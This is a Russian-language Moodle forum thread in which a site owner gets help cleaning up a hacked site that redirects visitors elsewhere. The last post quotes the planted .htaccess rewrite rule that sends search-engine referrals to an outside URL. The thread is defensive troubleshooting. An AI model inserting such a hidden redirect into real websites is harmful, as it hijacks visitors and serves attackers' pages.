Поломали сайт

Поломали сайт

от Sergio Maroni -
Количество ответов: 11

После взлома сайта было повреждено почти половину файлов. Все вроде исправил код почистил. 

Сайт работает. Но осталось проблема не могу решить Помогите

При вводе адреса сайта в браузере происходит переадресация на совсем другой сайт, я проверил все 

файлы (php, js,html) лишний код удалил, но проблема осталась где копать дальше, помогите советом?

Забыл сказать как только в начале адреса дописываешь www. все нормально окрываеться  

В ответ на Sergio Maroni

Re: Поломали сайт

от Vadim Tabunshchik -
Изображение пользователя Developers

При вводе адреса сайта в браузере происходит переадресация на совсем другой сайт

На какой другой? Ваш другой или совершенно "левый"?

Забыл сказать как только в начале адреса дописываешь www. все нормально окрываеться 

А что написано в config.php MOODLE? И в конфиге веб-сервера (кстати, КТО?) что написано? Поломали ServerName, что ли?

В ответ на Vadim Tabunshchik

Re: Поломали сайт

от Sergio Maroni -

Почти на все странички был добален код, при помощи которого воровали куки. соотв половину функции перестало работать.

Другой сайт "Совершенно левый"

Yandex народ пугает!))

в фаиле config.php все нормально (почистил) 

В ответ на Sergio Maroni

Re: Поломали сайт

от Sergey Zolotykhin -

а что именно поломали? 

можно просто все удалить (кроме moodledata и базы, естественно) диструбитив moodle соответствующей версии залить + дополнительные модуля.

В ответ на Sergio Maroni

Re: Поломали сайт

от Vladimir Zemlyakov -

Посмотрите файл .htaccess в корне сайта.

Сравните вывод команд nslookup www.вашсайт  и nslookup вашсайт, если айпишники разные, то взломали dns сервер.

В ответ на Vladimir Zemlyakov

Re: Поломали сайт

от Sergio Maroni -

не все нормально айпишник один и тот же , просто что то в настройках ни как не могу понять где именно

В ответ на Sergio Maroni

Re: Поломали сайт

от Виталий Лавров -
Изображение пользователя Эксперт по Moodle

Забыл сказать как только в начале адреса дописываешь www. все нормально окрываеться

Сравните адреса с www и без www. Если они разные, то все вопросы к владельцу/админу домена.

Раз подменили файлы, значит либо пароль от хостинга продолбали, либо используется слишком древняя версия moodle.

А версия moodle какая ?

В ответ на Sergio Maroni

Re: Поломали сайт

от Sergio Maroni -

Спасибо всем за помощь, сделал вроде работает.

Сразу не заметил  в файле htaccess

была след. запись

 <IfModule mod_rewrite.c>
 RewriteEngine On^M
 RewriteCond %{HTTP_REFERER}
 ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|allth
 RewriteRule ^(.*)$ http://grandsteel.kz/stats.php [R=301,L]^M
 </IfModule>